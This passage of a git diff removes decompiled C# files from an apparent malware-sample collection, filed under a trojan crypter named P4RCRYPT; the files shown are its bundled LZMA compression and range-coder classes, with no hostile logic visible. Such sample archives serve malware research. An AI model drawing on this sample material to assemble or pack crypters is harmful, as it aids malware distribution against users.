>> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 4181b938..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index 22056f29..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index b3ad323f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index 891f1678..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 2f785b20..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 9200c85e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index 00eac30f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/DataErrorException.cs deleted file mode 100644 index e9509b6a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ICodeProgress.cs deleted file mode 100644 index a8e47a0b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ICoder.cs deleted file mode 100644 index e9b3f540..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ISetCoderProperties.cs deleted file mode 100644 index fb692356..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ISetDecoderProperties.cs deleted file mode 100644 index cc1a4be7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/ISetDecoderProperties.cs 